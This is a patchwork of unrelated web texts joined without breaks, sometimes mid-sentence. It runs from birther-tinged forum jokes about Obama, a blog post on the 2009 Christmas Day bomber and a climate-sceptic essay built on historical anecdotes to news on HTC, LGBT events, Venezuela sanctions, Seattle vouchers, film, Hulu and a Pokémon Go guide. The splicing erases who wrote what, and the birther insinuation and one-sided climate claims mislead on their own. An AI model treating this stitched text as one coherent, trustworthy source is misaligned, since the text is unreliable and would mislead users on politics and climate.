My son was born in June of 1961 in a hospital in CA, and the nurses released us because of miscommunication in a day and a half before the circumcision was done. We had to go back to the doctor’s office to have it done a week later, and the doctor was NOT HAPPY. My second son was born in the same hospital 4 years later. I don’t remember them asking me about it. Routine procedure for little boys.
hoosiermama:
Wish we had someone to make a phone call to the hospitols in HI and ask if they routinely do circumcism and when that practice started.
MHGinTN:
You might want to make that call to a Canadian hospital …
MHGinTN:
No…it would have been in Kenya….not Canada.
Natural Born 54
I am having a vision of a court room scene. The judge turns to O sitting in the witness chair to his left and says “I am sorry, Mr. President, but I am going to have to ask you to stand and drop trou …..”
hoosiermama:
More than likely an exam from a court appointed DR. :~)
Humiliating either way….caught by his own private parts….er something like that.Update: Welcome Daily Dish readers! Thanks to link love from Andrew you may notice the site is a bit slow. Getting hammered today with record traffic (12/29). Thanks for visiting, following on Twitter, friending on Facebook, bookmarking, and signing up for weekly updates! You might also enjoy these posts on this topic:
Remembering How Far We?ve Come? Part 2
But for the lack of a lock on a cockpit door?
Why is the GOP so soft on terrorism?
……….
To those who think Barack Obama didn’t change this country enough for their liking, pay attention to how we as a society have already begun dealing with the Christmas Day terrorist attack differently.?It is stark, pervasive, even in the air.
There is no fear.?No panic.?No alarmism.?Not coming from this White House, not from any authorities, not from the passengers (who seem almost thrilled to be the heroes) and as a result, not even in the media.?Republicans started whining from minute one, and got more whiny the less the White House used their preferred language of belligerence.
Under George W. Bush, or John McCain, the media narrative would already be settling on whether or not to invade Yemen.?Now, the narrative is about soft power – how to reach these wealthy sons of bankers to stop them, how to tighten up our security at airports, how to support reform minded Muslims, how to give alternatives to potential Al Qaeda recruits who are not poor villagers but wealthy intellectuals with an axe to grind.
In other words, Republicans would be doing the terrorists work for them, by spreading more terror.?Barack Obama is doing America’s work, by addressing the problem calmly, quietly, confidently.?That leadership will translate into confidence in the American public the same way the panicked leadership of the Bush administration translated into fear.
Al Qaeda seems almost miffed that we aren’t panicking.?I can’t really recall Al Qaeda so loudly and immediately claiming credit for any attack, not even 9/11.?And yet, they’ve done so here, praising testicle toaster as a failed martyr, making him a banner headline, because the American response isn’t giving them enough ink.
In fact, there is a growing tinge of mockery of this terrorist for toasting his testicles.?This dude who can’t light a fuse is gonna raise the terror threat level to orange??Please.?It strikes me as practically British – laughing at the Nazis all the way to the rubble pile in the East End.?We’re laughing at Al Qaeda, for the first time, in unison,?as a country.?Think about that.
Make no mistake – in the Muslim world to which Al Qaeda attempts to speak, this episode is a total humiliation, seen as such, and will hurt Al Qaeda.?I can’t think of a more effective way to scupper Al Qaeda recruitment than to turn one of their attacks into a worldwide joke.? Yes it will enrage them.?Yes, they will try harder to hit us again.
But now, we have leadership that can crush them, by turning Al Qaeda’s weaknesses into our strength.
That’s change.?Come to think of it….why didn’t we try this before?HTC will be hosting the Wireless Power Consortium’s (WPC) 2015 conference and forum on March 27, the company’s Sr. Director at the Project Mgt & Electricl Structure Howard Lee claimed that HTC will take convenience and mobility into account to create a more user-friendly experience.
“Actually, HTC has had developed the wireless charging in years, and put it into specific handset models as customizations.” said Howard Lee. However, due to the weak demand, the wireless charing function was last seen in its 2013 flagship the M7’s metal case an optional accessory.
It was widely circulated that the Apple’s iPhone 6 and iPhone 6 Plus would feature wireless charging, but it turned out out to be negative. Things have changed after Samsung’s latest flagships featured the wireless charging. In other words, HTC chose to be a follower instead of a pioneer, according to the company, wireless charging will be a standard in its next-generation flagship soonest.
Relatively, Howard Lee suggested that modern smartphone users had better not to charge their handsets no less than 20 percent of bettery left. “Generally speaking, smartphones’s bettery has 500 to 800 charging life cycles, when it’s too low to be charged that meant it has gone one life circle.”Photography by Ryan Pfluger IN Brooklyn on September 10, 2015. Styling by Michael Cook.
As part of the House of Ladosha collective, Juliana Huxtable has become synonymous with the resurgence of an unabashedly queer subculture in New York City, one whose influence on art, fashion, and media is stronger than ever. This year, Huxtable was the star of the New Museum’s Triennial, which showed two of her self-portrait prints and a sculpture that depicted both her female and male anatomy (she was born intersex and raised as male). Huxtable received accolades from The New York Times, Vice, and Vogue, but she remains fiercely outspoken about the abuse she’s experienced as a trans woman of color. “I think that queer activism has lost touch with its radical traditions,” Huxtable says. “I want gay men to be as angry about trans death and the defunding of Planned Parenthood as they were about marriage. I’d love to see intersex people find advocates in the larger community [who will fight] against unfair coercive surgeries. And I’d love to see sex workers openly fought for by the movement.”
SLIDESHOW | Out100 2015According to a recent report by the Williams Institute, an LGBT think tank at the UCLA School of Law, about 10 percent of California’s LGBT population lives in this farm region between Stockton and Bakersfield. LGBT households in rural areas are twice as likely to live in poverty than those in urban areas.
At least 20 tables were set up to provide resources. These included the Cultivating Change Foundation, an advocacy group for minorities in agriculture.
“You do have gay farmers who are growing your food,” says Marcus Hollan, who co-founded the group. “You have lesbian agricultural teachers in your high schools and your colleges teaching youth. It’s time we start recognizing them but also celebrating them.”
Hollan says there are many unsung heroes in agriculture who lead by example and provide inspiration to young people to say, "I don’t have to leave the farm, I can still be a farmer and be my authentic self."
Justin Kamimoto spoke at the summit as part of the LGBT youth panel. The Fresno State student says the USDA has taken big strides to be LGBT-inclusive in its hiring practices, programming and internships. “They look at areas like the Central Valley that are very agricultural-based,” he says. “They want to bring the best and brightest people to their organization.”
Kamimoto was at the summit sharing information about his online organization, MY LGBT PLUS. It’s a community resource “dedicated to connecting, interacting and supporting our LGBT community,” he says. “We’re here to support our rural pride community. We know that the [people in the] outskirts of the Central Valley are oftentimes the ones forgotten about and we want to make sure resources are available to them.”
Christine Chavez helped arrange the summit. She works for the USDA but she knows a bit about organizing from the late Cesar Chavez.
“My grandfather instilled in us that it wasn’t just about a farmworker issue, it was about poverty, about continuing to do outreach to people who need it the most,” the younger Chavez says. “So that’s what we’re trying to do here.”
She says people face many different issues. Isolation is one theme that comes up frequently, especially for folks in some of the smaller communities like Ridgecrest and Taft.Now that Nintendo has finally released their much anticipated toys-to-life figurines, gamers everywhere are looking for the perfect way to show off their newly purchased amiibos. Unfortunately, the light-grain IKEA wood shelf you just bought is going to look like garbage compared to the masterpiece that is this fan-made creation.
Artist Danilo Santeliz created the above amiibo sanctuary, modeled after the “Final Destination” stage featured in Super Smash Bros. for Wii U — not to mention the threat of a Master Hand and Crazy Hand looming over the fighters. The colorful creation is made from a combination of wood, silicon, and paper mache, coated in acrylic paint and wrapped in lighting. Despite the high level of detail, it only took Danilo five days to complete.
You can check out an in-progress picture of the Smash stage shelf below the break. What do you guys think? Are you now motivated to create your own amiibo display shelf, or should we create a support group to discuss our artistic inadequacies?
Thanks to Danilo for the photos! You can check out his Instagram for more!In 2013 the world was devastated by an ap
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season, in northern latitudes, has suffered a material change, and become warmer in modern, than it was in ancient times. … Indeed I know not whether any person, in this age, has ever questioned the fact.” —Noah Webster, 1758-1843 (founder- Webster’s dictionary)
In this next article the author looked at the lives and times of famous people living in Teignmouth on the South Coast of England in order to examine the warming trend-punctuated by cold periods- experienced in Europe through the 19th Century by following one of this town’s famous sons-the harpist Elias Parish Alvars- as he travels through Europe on concert tours.
http://noconsensus.wordpress.com/2010/02/06/travels-in-Europe-part-1/
“His birth in 1808 saw a distinctly Little Ice age CET mean temperature of only 8.84C with a decadal 1800-1809 CET of 9.17C a prelude to what remains as about the coldest decade from that day to this during 1810-1819 at 8.798C.” (This era of growing warmth following this bitterly cold decade was also recounted in my account of the early life of Charles Dickens referenced later)
Following observations from whalers from the same port of Teignmouth, we have this from the annals of the Royal Society in 1817;
“It will without doubt have come to your Lordship’s knowledge that a considerable change of climate, inexplicable at present to us, must have taken place in the Circumpolar Regions, by which the severity of the cold that has for centuries past enclosed the seas in the high northern latitudes in an impenetrable barrier of ice has been during the last two years, greatly abated….”
http://wattsupwiththat.com/2009/06/20/historic-variation-in-arctic-ice/#more-8688
This quote –from a book of the period-comes from the same source;
“The uncharted coastline of east Greenland became clear of ice around 1820, and in 1822 Scoresby, in the midst of an arduous whaling voyage, sailed along some 400 miles of this inhospitable landscape, charting it, and naming point as he went in honour of scientific and other friends, chief of which was Scoresby Sound, named for his father. Almost all his place names survive today.”
This melting was described by the author in the article referenced above, which examined the little known period 1815-60 when the Arctic ice melted and the Royal Society mounted an expedition to investigate the causes. This period of melt during the 1820’s is also mentioned here;
“From an examination of the Greenland captains, it has been found that owing to some convulsions of nature, the sea was more open and more free from compact ice than in any former voyage they ever made: that several ships actually reached the eighty-fourth degree of latitude, in which no ice whatever was found; that for the first time for 400 years, vessels penetrated to the west coast of Greenland, and that they apprehended no obstacle to their even reaching the pole, if it had consisted with their duty to their employers to make the attempt.”
http://tinyurl.com/6c525cl
This intriguing reference to ‘400 years’ illustrates that Arctic travel was also possible in the 1400’s and possibly relates to the last known settlements of the Vikings, who had experienced hundreds of years of relative warmth in Greenland before ice closed the sea lanes as the temperatures turned down around the 1300’s during the first Little Ice age, from which temperatures subsequently recovered to a peak by around 1560.
(Arctic melting appears to have been happening with some regularity, from the Ipiatuk civilization some 3000 years ago, the Vikings a thousand years ago, at various times during the LIA- most notably the early 1700’s and 1817 onwards- and prior to the current warming there was another episode recorded between 1918 to 1940.)
The steady rise in temperatures during the 19th century was documented here, when the author asked tongue in cheek if Charles Dickens had shaped our perception of climate change through his portrayal of Victorian winters in his book ‘A Christmas Carol.’
http://noconsensus.wordpress.com/2010/01/06/bah-humbug/
“Dickens life demonstrates the extraordinary variability of the British winters during that era, when the coldest and warmest winters in the CET records can be juxtaposed. Generally there are few examples of constant cold winters year after year-the LIA was becoming much more sporadic than it had been several centuries earlier, when bitter cold weather appears to have been the norm. To put this era into perspective mature English people might be surprised to learn they lived through a much colder winter than Dickens ever experienced. 1962/3 at -0.33C was the third coldest in the entire CET record compared to Dickens coldest year 1814 at 0.43c, the fourth coldest in the record. (1962/3 was a bit of a one off-Dickens experienced a greater number of relatively cold winters)”
Hubert Lamb, in ‘Climate, History and the Modern World’, says: “Indeed, the descriptions of ‘old-fashioned’ winters for which Charles Dickens became famous in his books may owe something to the fact – exceptional for London – that of the first nine Christmases of his life, between 1812 and 1820, six were white with either frost or snow.”
Lamb also points out that the decade from 1810 to 1819 was the coldest in England since the 1690s. However, Dickens published ‘A Christmas Carol’ in December 1843 during what remains to this day as one of the warmest Decembers in British history. The two warmest winters on record occurred in 1868 and 1833.
These accounts from Russia contradict the popular notion of a shiveringly cold country and have obvious parallels with the fires of 2010.
“1831: Summer was unbearably hot, and as a consequence of numerous fires in the forests, there was a constant haze of smoke in the air, through which the sun appeared a red hot ball; the smell of burning was so strong, that it was difficult to breathe.
The years of 1839-1841 were known as the “hungry years.” In the spring of 1840, the spring sowings of corn disappeared in many places. From midway through April until the end of August not a drop of rain fell. From the beginning of summer the fields were covered with a dirty grey film of dust. All the plants wilted, dying from the heat and lack of water. It was extraordinarily hot and close, even though the sun, being covered in haze, shone very weakly through the haze of smoke.
1868: the weather was murderous. It rained once during the summer. There was a drought. The sun, like a red hot cinder, glowed through the clouds of smoke from the peat bogs. Near Peterhoff the forests and peat workings burnt, and troops dug trenches and flooded the subterranean fire. It was 40 centigrade in the open, and 28 in the shade.”
http://therese-phil.livejournal.com/171196.html
The steady rise in temperature during this period was also commented on by the author in this article, which links three long temperature records along the Hudson River in the USA. They illustrate that with a start date of 1880 GISS misses out on the preceding warm climatic cycles and that UHI appears to be a big factor in the increasingly urbanised temperature data sets from both GISS and Hadley/CRU.
http://noconsensus.wordpress.com/2009/11/25/triplets-on-the-hudson-river/#comment-13064
That the temperature dropped from the start of James Hansen’s’ famous GISS record in 1880
Table 7 http://data.giss.nasa.gov/gistemp/graphs/
places it somewhat out of context to the warmer period that preceded it, and this is reflected in this intriguing reference from the records of the Canadian Horticulturist monthly of 1880 (page 7).
“I do not know whether or not the climate of Ontario is really becoming permanently milder than formerly, but I do know that for the past 18 years or 20 years we have not experienced the same degree of cold as the seven years preceding.”
http://www.archive.org/stream/canadianhorticu03stcauoft#page/6/mode/2up
This period of transition and fluctuation between virtually modern day warmth and intermittently severe ‘Little Ice Age’ conditions- roughly 1700-1850- resulted in great storms;
http://www.blackwellpublishing.com:443/content/BPL_Images/Content_store/Sample_chapter/9780631222736/higgit.pdf
(Page 8)
Hubert Lamb also wrote of the great storms during this period in his book ‘’Historic storms of the North sea, British isles and Northwest Europe’ showing that such events are not restricted to current times.
Coming closer towards the modern era this paper ‘British Winters in relation to World Weather’ published in 1926 provides a scholarly examination of the relationships discovered, which gives us an insight into what was happening elsewhere in the world as regards a changing climate. This portion from the summary is intriguing;
“The results indicate that conditions in the Southern Hemisphere play a part comparable with that of the North Atlantic oscillation in controlling subsequent winter weather in the British Isles.”
http://www.rmets.org/pdf/blissmem1-6.pdf
That CET has intriguing parallels with Northern Hemispheric and the Global climate was also noted by Hubert Lamb and other researchers, and places CET as a potentially interesting, scientifically valid, proxy for the global situation.
The warm period during the 1920’s and 30’s resulted in the Arctic melting (again) recorded in this excellent free online book by Dr Arnd Bernaerts
http://www.arctic-heats-up.com/chapter_1.html
A farmer from Buchan in North East Scotland, one of the snowiest parts of lowland Britain, wrote in the agricultural section of the local newspaper during the exceptionally mild winter of 1933/34.
“1934 has opened true to the modern tradition of open, snowless winters. The long ago winters are no precedent for our modern samples. During the last decade, during several Januarys the lark has heralded spring up in the lift from the middle to the end of the month. Not full fledged songs but preliminary bars in an effort to adapt to our climatic change.”
It then goes on to say;
“It is unwise to assume that the modern winters have displaced the old indefinitely”
and also; “Our modern winters have induced an altered agricultural regime”
John Steinbeck’s’ classic novel ‘The Grapes of Wrath’ spoke eloquently of the hardship caused by severe drought and heat waves in part of 1930’s Dustbowl America-a period that remains arguably the warmest in recorded history in that country.
http://www.city-data.com/forum/oklahoma/155903-grapes-wrath-classic-okie-book.html
We have numerous other pieces of evidence to demonstrate cyclical climate change throughout the instrumental record, when periods of cold were replaced by welcome warmth that helped to kick start the age of industrialisation and exploration which has shaped the modern world.
The Met office claim that there was little variability prior to the modern era appears to have little merit, and is all the more surprising as their Exeter UK base is but ten miles from upland Dartmoor, where numerous examples of climate change from both the Bronze age and MWP can be readily found.
http://en.wikipedia.org/wiki/Dartmoor
“The majority of the prehistoric remains on Dartmoor date back to the late Neolithic and early Bronze Age. Indeed Dartmoor contains the largest concentration of Bronze Age remains in the United Kingdom which suggests that this was when a larger population moved onto the hills of Dartmoor…..The climate at the time was warmer than today, and much of today’s moor land was covered with trees. The prehistoric settlers began clearing the forest, and established the first farming communities.”
“The climate worsened over the course of a thousand years from around 1000BC, so that much of high Dartmoor was largely abandoned by its early inhabitants. It was not until the early mediaeval period that the weather again became warmer, and settlers moved back onto the moors.”
Clearly, there was great fluctuation between warm and cold periods throughout the historical record. As for the IPCC, from their Geneva HQ they have ready access to the world’s extensive literature on climatology and also must be aware that the city they are based in can boast of instrumental records back to 1753. These illustrate not only natural variability and the centuries long warming trend, but the effects of UHI as the city’s population has escalated from around 9000 back then, to some 190,000 today-with the Geneva canton being about double that of the city.
Table 8 http://climatereason.com/LittleIceAgeThermometers/Europe.html
Above; Geneva from 1753 with a centuries long rise in temperatures. (This record was also shown with a trend line earlier in the article). If the records only went back a few more decades the Geneva graph would also include the notable warmth during the first few decades of the 18th Century, already remarked on here, further demonstrating natural variability.
Conclusion.
The globe appears to have been gently warming for 400 years- with numerous reversals and cold periods interspersed with warm ones. Within this overall trend can be discerned regions running counter cyclical to the warming trend, as was observed in the article ‘In search of cooling trends’.
http://diggingintheclay.wordpress.com/2010/09/01/in-search-of-cooling-trends/
We estimated around one third of all stations to be cooling, a figure now endorsed by the Berkeley study. The assertion regarding lack of climate variability cited at the top of this article by two of the most prestigious climate organizations cannot be supported-there were periods around as warm as today as well as very cold periods, demonstrating great variability, no doubt there were also areas running counter cyclical to the prevailing trend, as can be seen today.
Note 1 * The quote from St Cyrian in 250AD provided earlier would be considered ‘anecdotal,’ a particularly derisory term in the Climate Science Dictionary, who prefer computer models or intriguing proxies. However, in this instance the journal ‘Science’ comes to our aid. On their website they quote Ulf Buntgen of the Swiss Federal Research Institute for Forest, Snow and Landscape, who produced a study looking back on 2500 years of climate change. He wrote ‘increased climate variability from AD250 to 600 coincided with the demise of the western Roman Empire and the turmoil of the migration period. Distinct drying in the third century paralleled a period of serious crisis in the western Roman Empire marked by barbarian invasion, political turmoil and economic dislocation in several provinces of Gaul.”
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RedditAs a fan of Joe Lauzon, UFC Fight Night 26 presented one of the biggest surprises of 2013. Lauzon was a heavy favorite, fighting in front of his hometown crowd in Boston. Most thought this was an easy win for Lauzon, especially after such a close and epic battle with Jim Miller, which resulted in a loss for the Boston native. In addition, Michael Johnson was coming off two straight losses against Myles Jury and Reza Madadi. In fact, many were questioning this bout simply based on where both fighters were in their career, one coming off a fight of the year performance, and the other losing two straight preliminary fights. Clearly, at least prior to fight night, this seemed to be a very peculiar match-up.
Michael Johnson slowly making his mark on UFC lightweight division
In a previous article on MMASucka, it was stated that Michael Johnson would need to have the training camp of his life to truly stand a chance against his most prolific and skilled opponent to date. His wrestling is already considered top level, but against an opponent like Lauzon, versatility really helps deal with his experience and style of fighting. An Ultimate Fighter 13 alumni, Johnson has been trying to find his footing at the top level of MMA, and has relied on his wrestling for the most part. While it helped him secure some victories in the past, it was essential for Johnson to evolve his fighting skills to be able to deal with better talent. It would seem like an extremely daunting and difficult task to overcome, but interestingly enough, he did just that.
Though the odds were stacked against him in every way, Johnson came out guns-a-blazing. His striking was clearly at it’s best and his phenomenal wrestling paid off when Lauzon shot for a takedown. His footwork made it very difficult for Lauzon to keep up, and Johnson made him eat very quick and effective strikes in the process. Without the ability to take it to the ground, Lauzon seemed in trouble from the very start. Johnson was clearly a new fighter with one goal on his mind, defeat Joe Lauzon. With that said, not only did we see Lauzon lose to a very surprising opponent, but he was completely outclassed, which allowed the new and improved Michael Johnson to put his stamp on the UFC lightweight division.
Moving forward, with “The Menace” climbing the lightweight ladder, his next opponent could very well be another tough test that could shoot him even higher in the lightweight rankings. Not that one win over a top class opponent should get you into the contender spotlight, but the way he defeated Lauzon, especially on the main card, should give him an extra edge as the UFC decides his next opponent. While it is highly unlikely he sees a top 10 fighter in his next bout, Johnson will surely get another tough challenge, which should help him rise in the rankings. At just 27 years old, Johnson is finally showing some high-end skill to compliment his already great wrestling. If he continues to show such improvement, the UFC lightweight division should be ready to welcome a new contender.Gene Robinson and I were sitting in a pub just behind St Paul's Cathedral a few months ago. He drank lime and soda. I had something stronger. "You drink the first drink, then the next drink drinks you," he warned me. Ever the evangelical of his past, Robinson's concern for my drinking was rooted in bitter experience.
For him the booze had been just one of the temptations in dealing with the bucketloads of hate that have been poured over him since he became bishop of New Hampshire in 2004. Being the first openly gay bishop in the Anglican Communion has, as he put it, "taken its toll". His announcement this weekend that he is retiring as the bishop of New Hampshire in a few years' time can come as little surprise.
There are many gay men and women in the church serving as priests and bishops, but as the focus of such international attention, he has had it toughest of all: the death threats, the abusive letters and phone calls, the heckling during sermons, the constant pressure to justify himself and his faith. At the last international gathering of all the world's bishops, the Lambeth Conference, he was barred by the archbishop of Canterbury. A lesser man would not have been able to cope, nor do so with such gentleness and grace.
There is no doubt in my mind that Robinson has been a prophet in the Anglican communion, recalling the church to its best instincts of inclusion and commitment to those who are excluded and marginalised. In Christ there is neither Jew nor Greek, rich nor poor, black nor white, gay nor straight. Some day this will be as obvious to the church as the fact that slavery is evil. But the forces of reaction remain strong and are getting stronger.
The latest thinking within the church to exclude new Gene Robinsons is called the covenant, due to be discussed at General Synod this month. The idea is that conservative anti-gay provinces – places like Uganda and Nigeria where Anglicanism is numerically on the up – will have a legal mechanism to stop more progressive churches from following the Gospel as they understand it.
In a particularly nasty twist of the culture wars that are developing around this issue, the architect of the covenant, the Right Rev Gregory Cameron, bishop of St Asaph in Wales, has accused those who are against the covenant of racism. Those, like me, who fear the homophobia that is prevalent in many parts of the world are attacked as "little Englanders". At the time of writing, a Church Times online survey asking "Should the church reject the Anglican covenant?" shows 84% saying that we should.
The Church of England – and by that I mean the ordinary man and woman in the pew – is considerably more progressive, on women bishops and gay marriage, than its conservative and often overly fearful leadership. Churchgoers know that the time for change is overdue. And many have come to see this because of the inspiring and compassionate faith of people like Robinson.
For too long Christianity has lent the bigotry of homophobia a cloak of respectability. Robinson is, of course, quite right to shout loudly about those "tragic stories of teenagers who have taken their own lives because religion tells them they are an abomination before God, and who believe their lives are doomed to despair and unhappiness". These days the alibi for this sort of prejudice is called unity – that we mustn't do anything that might upset our conservative brothers and sisters. Indeed, had the covenant existed in the era of the prophets of the Hebrew scriptures, it would have provided a perfect way of muzzling them too.Puebla, Mexico, September 22, 2017 ( venezuelanalysis.com ) – Canada’s Foreign Ministry announced Friday new sanctions against Venezuela, targeting top government officials.
“Under the Special Economic Measures Act, Canada is imposing targeted sanctions against 40 Venezuelan officials and individuals who have played a key role in undermining the security, stability and integrity of democratic institutions of Venezuela,” the country’s Foreign Ministry, Global Affairs Canada, said in a statement.
The ministry stated the sanctions were part of efforts to put “pressure on the Government of Venezuela to restore constitutional order and respect the democratic rights of its people”.
“Today’s announcement of sanctions against the Maduro regime underscores our commitment to defending democracy and human rights around the world. Canada stands in solidarity with the people of Venezuela as they struggle to restore democracy in their country,” Minister of Foreign Affairs Chrystia Freeland said.
According to Canada’s Global News, the officials targeted by the sanctions include Defense Minister Vladimir Padrino, Interior Minister Nestor Reverol, National Electoral Council head Tibisay Lucena, along with prominent socialists and former ministers Iris Varela and Elias Jaua. Several top court judges were also reportedly hit with the sanctions.
Venezuela was yet to respond to the announcement at the time of writing, though previous rounds of US sanctions have been condemned by the Maduro administration as part of an “economic war” against his country.
Late last month, Washington imposed its harshest sanctions yet on Venezuela, prohibiting dealings in new debt and equity issued by the government of Venezuela and state oil firm PDVSA.
In recent months, Canada has also stepped up its response to Venezuela's unrest. In August, Ottawa joined a 12 nation group opposed to the Maduro administration. Along with economic sanctions, the group has also called for an international ban on arms sales to Venezuela. Then on Thursday, Canadian Prime Minister Justin Trudeau stated the current situation in Venezuela is “untenable”.
“The violence … needs to end and we are looking to be helpful,” he said.
At least 126 people died across Venezuela during an outbreak of political violence between April and late July. At least 14 of those are suspected to have been the result of the actions of state security forces, including police and the National Guard. Around 31 have been allegedly linked to violent anti-government groups.Seattle’s effort to change the game around campaign financing has already become an issue in the 2019 race for District 3 as who will — and who won’t — be participating in the progressive program has become a dividing issue in the earliest days of the race. Seattle’s Democracy Vouchers for the 2019 election have already been sent out and you may have been looking at the unopened envelope wondering what to do next.
First, don’t lose them. Registered Seattle voters can use the four $25 a piece vouchers through the end of November. You’ll need to make a choice. But it doesn’t necessarily need to be about District 3. “Your 2019 Democracy Vouchers can be given to any participating City Council candidate, including candidates within or outside your council district,” the city writes. You can give all four of your vouchers to one candidate or you can engage in a little democratic roulette and spread the love around your favorite deserving candidates for city council who are participating in the program. The list of eligible 2019 recipients to-date is here. The mayoral race will not be eligible for the program until 2021 as the voucher fundraising limits are higher and the program needs more time to accumulate funds. Please print clearly. You can cash in your Democracy Vouchers directly to a candidate’s campaign, to the Seattle Ethics and Elections Commission, or by dropping them off at one of the designated locations. Vouchers must have your signature and the candidate’s name clearly written to be processed. Drop off locations and email addresses for the program can be found here. Or wait until the online portal is launched on February 28th. You can also make your Democracy Voucher online starting at the end of the month if everything goes as planned. Tune in here for details.
Registered voters in Seattle should automatically receive the $100 in vouchers in the mail. Seattle residents who are at least 18 and are either a U.S. citizen, U.S. national or a lawful permanent resident can apply for vouchers here. You can request replacement vouchers here.
More information is available at seattle.gov/democracyvoucher.Let's just hope he finally has his Oscar for Best Cinematography by the time "The Goldfinch" is released.
The world will finally get to see Roger Deakins’ latest visual masterpiece when “Blade Runner 2049” opens in theaters this Friday, but the legendary cinematography isn’t taking any moment to rest after working on the Denis Villeneuve sequel for the last year. The 68-year-old DP has confirmed to Variety that he’s gearing up to shoot “The Goldfinch” next, in which principal photography begins in January. Deakins’ prep on the film begins in a couple weeks.
“The Goldfinch” is an adaptation of the 2013 bestseller by Donna Tartt. Warner Brothers and Amazon Studios have teamed up for the film adaptation, which will be directed by “Brooklyn” helmer John Crawley. Ansel Elgort has been offered the lead role, according to multiple reports, but no official casting announcements have been made by the studio. The plot tells the story of Theodore Decker, a young man who survives a terrorist bombing at an art museum.
Deakins will be in the thick of the Oscar race for “Blade Runner 2049” by the time “The Goldfinch” begins production. The adaptation is the only current project the cinematographer is attached to following “Blade Runner 2049.” As for whether or not he’ll reunite with Villeneuve for the upcoming “Dune” movie, Deakins remains unsure. “He hasn’t mentioned it. I haven’t mentioned it. I don’t know,” he said.
Villeneuve and Deakins have worked together on three films now: “Prisoners,” “Sicario,” and “Blade Runner 2049.” The first two both earned Deakins an Oscar nomination for Best Cinematography, which seems likely for “Blade Runner 2049” as well based on all the praise. Fans are no doubt hoping the cinematographer and the director remain together for “Dune,” though there are no plans to reunite at this current time.
“Blade Runner 2049” opens Friday, October 6 in theaters nationwide.Hulu has announced an exclusive agreement with 20th Century Fox to stream every episode of the latter’s hit animated shows, including Bob’s Burgers, Futurama and American Dad.
The full run of these series were only available on Netflix until recently. Starting in May, Netflix began removing these shows from their streaming service, some being stripped down season-by-season.
Bob’s Burgers and American Dad were the first to go. Then in early July, Netflix took down the first four seasons of Futurama, which originally aired on the Fox network between 1999 and 2003. A sizable amount of fans of Futurama reacted negatively to the news with a series of GIFs and memes inspired by the show.
Animated shows aren’t the only Fox TV series that have been removed from Netflix. Many of Fox’s live-action drama series — including Buffy the Vampire Slayer, Angel, Firefly and The X-Files — left Netflix in April. All four of those series are now only available on Hulu. As it stands, Hulu will only be the exclusive streaming home to the animated series, according to its press release.
This new migration of Fox animated series seems to clinch that Fox is pulling out of Netflix wholesale in favor of Hulu. This is most likely due to the fact that 20th Century Fox’s parent company, 21st Century Fox, is a major investor in Hulu and has no significant financial ties to Netflix. Starting today, the only way to stream every episode of these series and more is through Hulu.The Ultimate “How To Play Pokémon Go” Guide
In an earlier article, we mentioned how Pokémon GO doesn’t really offer much in the way of teaching you how to play. Apparently, you’re expected to just find out as you go along, or look online. If you’re reading this, you’re obviously doing the latter – and you’ve definitely come to the right place.
Read on for the web’s most comprehensive Pokémon Go guide yet.
Starting up
Alright, so for those who haven’t actually downloaded the game yet, this is for you. There isn’t actually much to say, as everything at this point is pretty self-explanatory. But hey, we did promise to be the most comprehensive guide.
So, upon loading up for the first time, you’ll be asked to sign-in using either Google or Pokémon club. You’ll be guided through finding your first Pokémon by Professor Willow, a dashing, white-haired fella.
The thing is, he guides you through finding your first Pokémon, but the way in which you find it is completely different from how you’d find them from that point onward.
So, follow his lead, and do as he says. Moving on.
Moving around
This is fairly simple, and I’m really hoping pretty much all of you figured this out yourself. You have to use the map on your phone to navigate, by walking to wherever you need to be. There’s more to it than that, though, and that’s why there’s a dedicated section.
Sometimes, you’ll show up as being somewhere you actually aren’t. The best way to fix this is to quickly switch location services off and on, and your location should update to represent where you actually are.
The little compass in the top right is used for centering your view in the direction you’re facing, so if for any reason you might need to do just that, then tap it.
You can rotate around using your fingers/thumb, or using two at a time, you can move closer and further from your character as you wish.
Pokéstops
So, once you’ve got the hand of actually moving around, you’ll likely be heading to the nearest Pokéstop, as instructed by our dear friend Professor Willow.
These are important. When you’re near one, be sure to visit it. Pokéstops will give you valuable items like potions, Poké Balls, which are used to actually capture Pokémon, and sometimes, eggs. Click on the blue square-like image on your map that represents the Pokéstop, and a circle should appear on your screen showing you the location of the stop. It’s usually a landmark of some sort, such as a statue, chruch, or fountain. Spin the circle to have it spit out a few goodies.
Pokéstops refresh every few minutes, so if you’re at, say, a restaurant and it’s a stop, you may as well farm it.
Eggs
You’ll be finding these at Pokéstops, as mentioned above, so you’ll want to know what to do with them.
Basically, each egg will hatch a new Pokémon, but in order for it to do so, there’s few steps you’ll need to take. Firstly, incubate the egg. Tap on the Poké Ball at the bottom of the screen, then on Pokémon, the leftmost icon.
From there, tap on eggs – it’s at the top right of your screen. You can see all the eggs you’ve collected there, and this is where you can incubate them. Just tap on them, the rest is simple.
There’s also a distance attached. Once you start incubating, you’ll need to travel that distance with the game open.
I’ve currently got a 5 kilometer one, which I’m 1 kilometer away from hatching. I walked about 13 yesterday, but I didn’t have the app running the whole time, so it wasn’t recorded. This is a massive problem considering how fast the game drains battery… More on that later.
Keep in mind the fact that you only have one incubator to start off with, and it can only be used on one egg at a time. You can buy more incubators on the store, if you really desire. You can also earn them from just playing, which is probably more convenient for most of us.
Oh, and try to avoid the eggs that take less distance to hatch – they’re usually pretty shitty. Prioritize the longer distance eggs.
Catching ’em all
Finally, we’re getting to the good stuff.
You should have a ton of Poké Balls from starting off, leveling, and Pokéstops.
What you’ll want to do first is look in the bottom right corner of your screen, whilst on the map. You should see a tab, with a Pokémon silhouette and some footsteps on it. If there aren’t any footsteps, you’re close enough to catch one.
The number of footsteps determines how close you are to whatever Pokémon they represent. Walking around will make some closer, and some further away, and you’ll have to use this to find out where to go. Tap on the tab to expand it and get a better idea of what’s around you.
You can also keep an eye on the grass – where you see leaves flying out the ground every so often, you’ll be able to (possibly) find a new Pokémon.
Once you’ve followed the above steps, your phone should vibrate, and you’ll want to tap on the Pokémon that just appeared on your screen.
You’ll then be able to use your camera to look around for it. If your phone doesn’t have a gyroscope, however, you’ll need to switch off augmented-reality mode to see it. This makes it easier, but it’s upsetting to not have access to one of the biggest selling points of the game.
Surely you know what to do next. Throw Poké Balls at it by flicking them at the Pokémon until you capture it – try and get them within the green circle that appears, which is guaranteed to catch them. And there you have it – you’ve caught one!
Level up!
You’ll need to level up to become more powerful, find more powerful Pokémon, and so on. You can do this by playing, as is with most games. Nothing new there.
You can also level up your Pokémon, though. For that, you’ll need stardust, and Pokémon-specific “candy.” Here are a few ways to obtain each:
Candy
Every time you catch a Pokémon, you’ll obtain 3 of its corresponding candy pieces.
